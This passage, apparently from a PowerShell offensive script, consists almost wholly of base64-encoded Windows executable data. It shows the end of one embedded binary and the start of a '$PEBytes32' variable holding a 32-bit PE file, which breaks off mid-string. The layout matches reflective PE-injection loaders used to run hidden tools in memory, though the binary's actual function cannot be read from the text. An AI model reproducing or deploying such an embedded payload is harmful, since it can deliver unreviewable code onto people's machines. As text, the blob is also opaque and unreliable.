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ijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjuKPAo8ij0KPgo/ijAKQYpDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKW4pdCl2KXgpeil8KUIpiCmKKYwpjimQKZIplCmWKZgpmimcKaIpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcwpzinSKdQp2CnaKd4p4CnmKegp6insKe4p8CnyKfQp9in4Kfop/Cn+KcAqAioEKgYqDCo4KjwqPioAKkQqRipMKk4qVCpWKlwqXipgKmQqZipoKmwqbipwKnQqdip8Kn4qRCqGKowqjiqUKpYqnCqeKqQqpiqsKq4qsCq0KrYquCq8Kr4qhCrGKswqzirQKtIq1CrWKtgq2ircKt4q5CrsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrGCsaKxwrICskKygrLCswKzQrOCs8KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K4ArwivEK8YryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4ivkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAAACACACgAAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoHCgeKCAoABgAwCcAAAAEKAYoCigIKMoozijgKPQoyCkYKRopHikwKQApQilGKWApdClIKZgpmimeKawprimyKYQp1CnWKdop5inoKeop8CnEKhgqLCoAKlAqVip0KkgqnCqwKoQq2CroKu4q/Cr+KsIrGCssKwArVCtoK3wrTCuOK5ArkiuUK5YrmCuaK5wrniugK6IrpCumK7grjCvgK/QrwBwAwDEAAAAIKBgoGig4KDwoDChQKGAoZCh0KHgoSCiMKLAotCiEKMgo2CjcKOwo8Cj8KP4owCkCKQQpBikIKRwpMCkEKVwpYClsKW4pcClyKXQpdil4KXopTinSKeIp5in2KfopyioOKh4qIioyKjYqBipKKloqXipuKnIqQiqGKpYqmiqqKq4qviqCKtIq1irmKuoq+ir+Ks4rEisiKyYrNis6KworTiteK2Ircit2K0YriiuaK54rgCvUK+gr+CvAAAAgAMAoAAAABCgGKAgoCigMKA4oFCgYKCgoLCg8KAAoTChOKFAoUihUKFYoWChaKFwoeCh8KEwokCigKKQotCi4KJAo1CjkKOgo+CjMKSApAClEKVQpWCloKWwpfClAKY4pnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnEKcYpyCnKKcwpzinQKdIp1CnWKdgp2inAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" - $PEBytes32 = "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